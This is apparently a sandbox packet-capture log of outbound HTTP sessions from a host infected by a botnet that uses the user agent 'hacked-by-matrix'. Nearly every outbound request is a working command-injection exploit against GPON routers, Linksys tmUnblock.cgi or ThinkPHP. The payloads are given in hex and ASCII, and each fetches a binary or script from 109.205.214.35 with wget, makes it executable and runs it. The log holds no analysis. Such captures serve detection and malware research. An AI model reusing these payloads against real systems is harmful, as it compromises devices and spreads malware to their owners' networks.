Mar 21, 2024 05:27:02.417459011 CET	324	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://109.205.214.35/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
1718	192.168.2.23	36744	216.55.111.157	8080

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:27:02.995573997 CET	442	OUT	POST /tmUnblock.cgi HTTP/1.1 Host: 127.0.0.1:80 Connection: keep-alive Accept-Encoding: gzip, deflate Accept: / User-Agent: hacked-by-matrix Content-Length: 227 Content-Type: application/x-www-form-urlencoded Data Raw: 74 74 63 70 5f 69 70 3d 2d 68 2b 25 36 30 63 64 2b 25 32 46 74 6d 70 25 33 42 2b 72 6d 2b 2d 72 66 2b 41 6d 61 6b 61 6e 6f 2e 6d 70 73 6c 25 33 42 2b 77 67 65 74 2b 68 74 74 70 25 33 41 25 32 46 25 32 46 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 25 32 46 6d 70 73 6c 25 33 42 2b 63 68 6d 6f 64 2b 37 37 37 2b 6d 70 73 6c 25 33 42 2b 2e 25 32 46 6d 70 73 6c 2b 6c 69 6e 6b 73 79 73 25 36 30 26 61 63 74 69 6f 6e 3d 26 74 74 63 70 5f 6e 75 6d 3d 32 26 74 74 63 70 5f 73 69 7a 65 3d 32 26 73 75 62 6d 69 74 5f 62 75 74 74 6f 6e 3d 26 63 68 61 6e 67 65 5f 61 63 74 69 6f 6e 3d 26 63 6f 6d 6d 69 74 3d 30 26 53 74 61 72 74 45 50 49 3d 31 Data Ascii: ttcp_ip=-h+%60cd+%2Ftmp%3B+rm+-rf+Amakano.mpsl%3B+wget+http%3A%2F%2F109.205.214.35%2Fmpsl%3B+chmod+777+mpsl%3B+.%2Fmpsl+linksys%60&action=&ttcp_num=2&ttcp_size=2&submit_button=&change_action=&commit=0&StartEPI=1
Mar 21, 2024 05:27:03.879144907 CET	442	OUT	POST /tmUnblock.cgi HTTP/1.1 Host: 127.0.0.1:80 Connection: keep-alive Accept-Encoding: gzip, deflate Accept: / User-Agent: hacked-by-matrix Content-Length: 227 Content-Type: application/x-www-form-urlencoded Data Raw: 74 74 63 70 5f 69 70 3d 2d 68 2b 25 36 30 63 64 2b 25 32 46 74 6d 70 25 33 42 2b 72 6d 2b 2d 72 66 2b 41 6d 61 6b 61 6e 6f 2e 6d 70 73 6c 25 33 42 2b 77 67 65 74 2b 68 74 74 70 25 33 41 25 32 46 25 32 46 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 25 32 46 6d 70 73 6c 25 33 42 2b 63 68 6d 6f 64 2b 37 37 37 2b 6d 70 73 6c 25 33 42 2b 2e 25 32 46 6d 70 73 6c 2b 6c 69 6e 6b 73 79 73 25 36 30 26 61 63 74 69 6f 6e 3d 26 74 74 63 70 5f 6e 75 6d 3d 32 26 74 74 63 70 5f 73 69 7a 65 3d 32 26 73 75 62 6d 69 74 5f 62 75 74 74 6f 6e 3d 26 63 68 61 6e 67 65 5f 61 63 74 69 6f 6e 3d 26 63 6f 6d 6d 69 74 3d 30 26 53 74 61 72 74 45 50 49 3d 31 Data Ascii: ttcp_ip=-h+%60cd+%2Ftmp%3B+rm+-rf+Amakano.mpsl%3B+wget+http%3A%2F%2F109.205.214.35%2Fmpsl%3B+chmod+777+mpsl%3B+.%2Fmpsl+linksys%60&action=&ttcp_num=2&ttcp_size=2&submit_button=&change_action=&commit=0&StartEPI=1
Mar 21, 2024 05:27:04.048803091 CET	446	IN	HTTP/1.1 404 Not Found Date: Thu, 21 Mar 2024 04:27:03 GMT Server: Apache Vary: Accept-Encoding Content-Encoding: gzip Content-Length: 185 Keep-Alive: timeout=15, max=100 Connection: Keep-Alive Content-Type: text/html; charset=iso-8859-1 Data Raw: 1f 8b 08 00 00 00 00 00 00 03 4d 8e cd 0e 82 30 10 84 ef 3c c5 ca 5d 16 0d c7 a6 07 05 22 09 22 31 e5 e0 11 68 b5 44 68 91 16 8d 6f 2f 3f 17 8f b3 33 df cc 92 4d 78 39 b2 5b 1e c1 89 9d 53 c8 8b 43 9a 1c c1 dd 22 26 11 8b 11 43 16 ae ce de f3 11 a3 cc a5 0e 91 b6 6b 29 91 a2 e4 93 b0 8d 6d 05 0d fc 00 32 6d 21 d6 a3 e2 04 d7 a3 43 70 09 91 4a f3 ef cc ed e8 5f 66 52 0e e9 29 93 02 06 f1 1a 85 b1 82 43 71 4d 01 6d 57 a8 aa d5 f5 d3 ab 1f 0d 7c 4a 03 6a c2 ee 33 06 5a 81 95 8d 01 23 86 b7 18 3c 82 fd 3c b3 0c 4c 95 f3 63 ce 0f c1 f8 45 2b d3 00 00 00 Data Ascii: M0<]""1hDho/?3Mx9[SC"&Ck)m2m!CpJ_fR)CqMmW\|Jj3Z#<<LcE+

Session ID	Source IP	Source Port	Destination IP	Destination Port
1719	192.168.2.23	42776	95.179.158.104	80

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:27:03.308326960 CET	325	OUT	GET /index.php?s=/index/hinkpp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://109.205.214.35/x86 -O /tmp/.matrix; chmod 777 /tmp/.matrix; /tmp/.matrix thinkphp' HTTP/1.1 Connection: keep-alive Accept-Encoding: gzip, deflate Accept: / User-Agent: hacked-by-matrix
Mar 21, 2024 05:27:03.476340055 CET	322	IN	HTTP/1.1 400 Bad Request Server: nginx-rc Date: Thu, 21 Mar 2024 04:27:03 GMT Content-Type: text/html Content-Length: 162 Connection: close Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 6e 67 69 6e 78 2d 72 63 2f 31 2e 32 35 2e 33 2e 31 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>400 Bad Request</title></head><body><center><h1>400 Bad Request</h1></center><hr><center>nginx-rc/1.25.3.1</center></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port
1720	192.168.2.23	41416	172.87.205.121	55555

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:27:03.568221092 CET	426	OUT	POST /tmUnblock.cgi HTTP/1.1 Host: 127.0.0.1:80 Connection: keep-alive Accept-Encoding: gzip, deflate Accept: / User-Agent: hacked-by-matrix Content-Length: 227 Content-Type: application/x-www-form-urlencoded Data Raw: 74 74 63 70 5f 69 70 3d 2d 68 2b 25 36 30 63 64 2b 25 32 46 74 6d 70 25 33 42 2b 72 6d 2b 2d 72 66 2b 7a 65 6e 2e 6d 70 73 6c 25 33 42 2b 77 67 65 74 2b 68 74 74 70 25 33 41 25 32 46 25 32 46 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 25 32 46 6d 70 73 6c 25 33 42 2b 63 68 6d 6f 64 2b 37 37 37 2b 6d 70 73 6c 25 33 42 2b 2e 25 32 46 6d 70 73 6c 2b 6c 69 6e 6b 73 79 73 25 36 30 26 61 63 74 69 6f 6e 3d 26 74 74 63 70 5f 6e 75 6d 3d 32 26 74 74 63 70 5f 73 69 7a 65 3d 32 26 73 75 62 6d 69 74 5f 62 75 74 74 6f 6e 3d 26 63 68 61 6e 67 65 5f 61 63 74 69 6f 6e 3d 26 63 6f 6d 6d 69 74 3d 30 26 53 74 61 72 74 45 50 49 3d 31 Data Ascii: ttcp_ip=-h+%60cd+%2Ftmp%3B+rm+-rf+zen.mpsl%3B+wget+http%3A%2F%2F109.205.214.35%2Fmpsl%3B+chmod+777+mpsl%3B+.%2Fmpsl+linksys%60&action=&ttcp_num=2&ttcp_size=2&submit_button=&change_action=&commit=0&StartEPI=1
Mar 21, 2024 05:27:07.691533089 CET	426	OUT	POST /tmUnblock.cgi HTTP/1.1 Host: 127.0.0.1:80 Connection: keep-alive Accept-Encoding: gzip, deflate Accept: / User-Agent: hacked-by-matrix Content-Length: 227 Content-Type: application/x-www-form-urlencoded Data Raw: 74 74 63 70 5f 69 70 3d 2d 68 2b 25 36 30 63 64 2b 25 32 46 74 6d 70 25 33 42 2b 72 6d 2b 2d 72 66 2b 7a 65 6e 2e 6d 70 73 6c 25 33 42 2b 77 67 65 74 2b 68 74 74 70 25 33 41 25 32 46 25 32 46 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 25 32 46 6d 70 73 6c 25 33 42 2b 63 68 6d 6f 64 2b 37 37 37 2b 6d 70 73 6c 25 33 42 2b 2e 25 32 46 6d 70 73 6c 2b 6c 69 6e 6b 73 79 73 25 36 30 26 61 63 74 69 6f 6e 3d 26 74 74 63 70 5f 6e 75 6d 3d 32 26 74 74 63 70 5f 73 69 7a 65 3d 32 26 73 75 62 6d 69 74 5f 62 75 74 74 6f 6e 3d 26 63 68 61 6e 67 65 5f 61 63 74 69 6f 6e 3d 26 63 6f 6d 6d 69 74 3d 30 26 53 74 61 72 74 45 50 49 3d 31 Data Ascii: ttcp_ip=-h+%60cd+%2Ftmp%3B+rm+-rf+zen.mpsl%3B+wget+http%3A%2F%2F109.205.214.35%2Fmpsl%3B+chmod+777+mpsl%3B+.%2Fmpsl+linksys%60&action=&ttcp_num=2&ttcp_size=2&submit_button=&change_action=&commit=0&StartEPI=1
Mar 21, 2024 05:27:13.830214977 CET	426	OUT	POST /tmUnblock.cgi HTTP/1.1 Host: 127.0.0.1:80 Connection: keep-alive Accept-Encoding: gzip, deflate Accept: / User-Agent: hacked-by-matrix Content-Length: 227 Content-Type: application/x-www-form-urlencoded Data Raw: 74 74 63 70 5f 69 70 3d 2d 68 2b 25 36 30 63 64 2b 25 32 46 74 6d 70 25 33 42 2b 72 6d 2b 2d 72 66 2b 7a 65 6e 2e 6d 70 73 6c 25 33 42 2b 77 67 65 74 2b 68 74 74 70 25 33 41 25 32 46 25 32 46 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 25 32 46 6d 70 73 6c 25 33 42 2b 63 68 6d 6f 64 2b 37 37 37 2b 6d 70 73 6c 25 33 42 2b 2e 25 32 46 6d 70 73 6c 2b 6c 69 6e 6b 73 79 73 25 36 30 26 61 63 74 69 6f 6e 3d 26 74 74 63 70 5f 6e 75 6d 3d 32 26 74 74 63 70 5f 73 69 7a 65 3d 32 26 73 75 62 6d 69 74 5f 62 75 74 74 6f 6e 3d 26 63 68 61 6e 67 65 5f 61 63 74 69 6f 6e 3d 26 63 6f 6d 6d 69 74 3d 30 26 53 74 61 72 74 45 50 49 3d 31 Data Ascii: ttcp_ip=-h+%60cd+%2Ftmp%3B+rm+-rf+zen.mpsl%3B+wget+http%3A%2F%2F109.205.214.35%2Fmpsl%3B+chmod+777+mpsl%3B+.%2Fmpsl+linksys%60&action=&ttcp_num=2&ttcp_size=2&submit_button=&change_action=&commit=0&StartEPI=1

Session ID	Source IP	Source Port	Destination IP	Destination Port
1721	192.168.2.23	36656	88.157.103.165	80

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:27:03.665990114 CET	313	OUT	GET /index.php?s=/index/hinkpp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://109.205.214.35/x86 -O /tmp/.matrix; chmod 777 /tmp/.matrix; /tmp/.matrix thinkphp' HTTP/1.1 Connection: keep-alive Accept-Encoding: gzip, deflate Accept: / User-Agent: hacked-by-matrix

Session ID	Source IP	Source Port	Destination IP	Destination Port
1722	192.168.2.23	60668	192.210.186.123	80

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:27:04.019172907 CET	325	OUT	POST /GponForm/diag_Form?images/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://109.205.214.35/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0
Mar 21, 2024 05:27:04.352065086 CET	325	OUT	POST /GponForm/diag_Form?images/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://109.205.214.35/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0
Mar 21, 2024 05:27:04.681334019 CET	325	OUT	POST /GponForm/diag_Form?images/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://109.205.214.35/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0
Mar 21, 2024 05:27:05.321722984 CET	325	OUT	POST /GponForm/diag_Form?images/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://109.205.214.35/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0
Mar 21, 2024 05:27:06.598737001 CET	325	OUT	POST /GponForm/diag_Form?images/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://109.205.214.35/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0
Mar 21, 2024 05:27:06.705848932 CET	413	IN	HTTP/1.0 407 Proxy Authentication Required Proxy-Authenticate: Basic realm="login" Connection: close Content-type: text/html; charset=utf-8 Data Raw: 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 37 20 50 72 6f 78 79 20 41 75 74 68 65 6e 74 69 63 61 74 69 6f 6e 20 52 65 71 75 69 72 65 64 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 3c 68 32 3e 34 30 37 20 50 72 6f 78 79 20 41 75 74 68 65 6e 74 69 63 61 74 69 6f 6e 20 52 65 71 75 69 72 65 64 3c 2f 68 32 3e 3c 68 33 3e 41 63 63 65 73 73 20 74 6f 20 72 65 71 75 65 73 74 65 64 20 72 65 73 6f 75 72 63 65 20 64 69 73 61 6c 6c 6f 77 65 64 20 62 79 20 61 64 6d 69 6e 69 73 74 72 61 74 6f 72 20 6f 72 20 79 6f 75 20 6e 65 65 64 20 76 61 6c 69 64 20 75 73 65 72 6e 61 6d 65 2f 70 61 73 73 77 6f 72 64 20 74 6f 20 75 73 65 20 74 68 69 73 20 72 65 73 6f 75 72 63 65 3c 2f 68 33 3e 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>407 Proxy Authentication Required</title></head><body><h2>407 Proxy Authentication Required</h2><h3>Access to requested resource disallowed by administrator or you need valid username/password to use this resource</h3></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port
1723	192.168.2.23	58810	38.14.66.230	80

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:27:04.066602945 CET	325	OUT	POST /GponForm/diag_Form?images/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://109.205.214.35/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0
Mar 21, 2024 05:27:04.225584984 CET	323	IN	HTTP/1.1 400 Bad Request Server: nginx Date: Thu, 21 Mar 2024 04:27:05 GMT Content-Type: text/html Content-Length: 166 Connection: close Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 20 62 67 63 6f 6c 6f 72 3d 22 77 68 69 74 65 22 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 6e 67 69 6e 78 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>400 Bad Request</title></head><body bgcolor="white"><center><h1>400 Bad Request</h1></center><hr><center>nginx</center></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port
1724	192.168.2.23	53232	185.49.51.140	80

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:27:04.073503971 CET	325	OUT	POST /GponForm/diag_Form?images/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://109.205.214.35/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0
Mar 21, 2024 05:27:04.244977951 CET	450	IN	HTTP/1.1 400 Bad Request Date: Thu, 21 Mar 2024 04:27:04 GMT Server: Apache/2.4.6 (CentOS) OpenSSL/1.0.2k-fips PHP/7.3.33 Content-Length: 226 Connection: close Content-Type: text/html; charset=iso-8859-1 Data Raw: 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 49 45 54 46 2f 2f 44 54 44 20 48 54 4d 4c 20 32 2e 30 2f 2f 45 4e 22 3e 0a 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 0a 3c 74 69 74 6c 65 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 74 69 74 6c 65 3e 0a 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 0a 3c 68 31 3e 42 61 64 20 52 65 71 75 65 73 74 3c 2f 68 31 3e 0a 3c 70 3e 59 6f 75 72 20 62 72 6f 77 73 65 72 20 73 65 6e 74 20 61 20 72 65 71 75 65 73 74 20 74 68 61 74 20 74 68 69 73 20 73 65 72 76 65 72 20 63 6f 75 6c 64 20 6e 6f 74 20 75 6e 64 65 72 73 74 61 6e 64 2e 3c 62 72 20 2f 3e 0a 3c 2f 70 3e 0a 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e 0a Data Ascii: <!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN"><html><head><title>400 Bad Request</title></head><body><h1>Bad Request</h1><p>Your browser sent a request that this server could not understand.<br /></p></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port
1725	192.168.2.23	41866	165.231.45.6	80

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:27:04.115504026 CET	325	OUT	POST /GponForm/diag_Form?images/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://109.205.214.35/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0
Mar 21, 2024 05:27:04.315876961 CET	413	IN	HTTP/1.0 407 Proxy Authentication Required Proxy-Authenticate: Basic realm="login" Connection: close Content-type: text/html; charset=utf-8 Data Raw: 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 37 20 50 72 6f 78 79 20 41 75 74 68 65 6e 74 69 63 61 74 69 6f 6e 20 52 65 71 75 69 72 65 64 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 3c 68 32 3e 34 30 37 20 50 72 6f 78 79 20 41 75 74 68 65 6e 74 69 63 61 74 69 6f 6e 20 52 65 71 75 69 72 65 64 3c 2f 68 32 3e 3c 68 33 3e 41 63 63 65 73 73 20 74 6f 20 72 65 71 75 65 73 74 65 64 20 72 65 73 6f 75 72 63 65 20 64 69 73 61 6c 6c 6f 77 65 64 20 62 79 20 61 64 6d 69 6e 69 73 74 72 61 74 6f 72 20 6f 72 20 79 6f 75 20 6e 65 65 64 20 76 61 6c 69 64 20 75 73 65 72 6e 61 6d 65 2f 70 61 73 73 77 6f 72 64 20 74 6f 20 75 73 65 20 74 68 69 73 20 72 65 73 6f 75 72 63 65 3c 2f 68 33 3e 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>407 Proxy Authentication Required</title></head><body><h2>407 Proxy Authentication Required</h2><h3>Access to requested resource disallowed by administrator or you need valid username/password to use this resource</h3></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port
1726	192.168.2.23	59032	154.12.105.127	80

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:27:04.202426910 CET	325	OUT	POST /GponForm/diag_Form?images/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://109.205.214.35/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0
